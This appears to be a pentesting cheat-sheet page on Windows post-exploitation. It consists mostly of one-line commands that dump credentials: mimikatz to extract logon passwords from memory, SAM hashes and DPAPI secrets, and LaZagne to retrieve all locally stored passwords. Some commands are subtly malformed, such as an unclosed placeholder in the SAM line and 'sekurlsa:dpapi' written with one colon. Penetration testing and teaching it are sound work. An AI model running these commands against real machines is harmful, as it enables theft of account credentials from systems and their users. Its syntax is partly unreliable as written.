> For the complete documentation index, see [llms.txt](https://notes.incendium.rocks/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.incendium.rocks/pentesting-notes/windows-pentesting/post-exploitation.md).

# Post-Exploitation

## Dump hashes with mimikatz

### From memory

```bash
.\mimikatz.exe "sekurlsa::logonpasswords" exit
```

### From SAM

```bash
.\mimikatz.exe "sekurlsa::sam /sam:<path_to_sam /system:<path_to_system> exit
```

## LaZagne

The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer.

{% embed url="<https://github.com/AlessandroZ/LaZagne>" %}

```bash
.\LaZagne.exe all
```

## dpapi extract with mimikatz

```bash
.\mimikatz.exe "sekurlsa:dpapi" exit
```